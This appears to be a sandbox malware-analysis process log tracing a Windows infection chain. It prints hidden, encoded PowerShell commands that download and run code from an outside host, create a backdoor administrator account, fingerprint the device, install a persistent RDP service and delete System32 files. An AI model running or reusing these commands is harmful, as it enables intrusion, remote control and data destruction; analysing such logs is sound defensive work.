QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA=	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\myainnc2\myainnc2.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpAC	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBF0C.tmp" "c:\Users\user\AppData\Local\Temp\myainnc2\CSC6AA9D23DB1D446FF89BA3B754739F41D.TMP"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\JD-Meta-Ads-Manager.pdf.docx" /o ""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC	Jump to behavior
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc stop "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net start "myRdpService"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 start "myRdpService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "systeminfo \| Select-String \"OS Name\",\"OS Version\";"
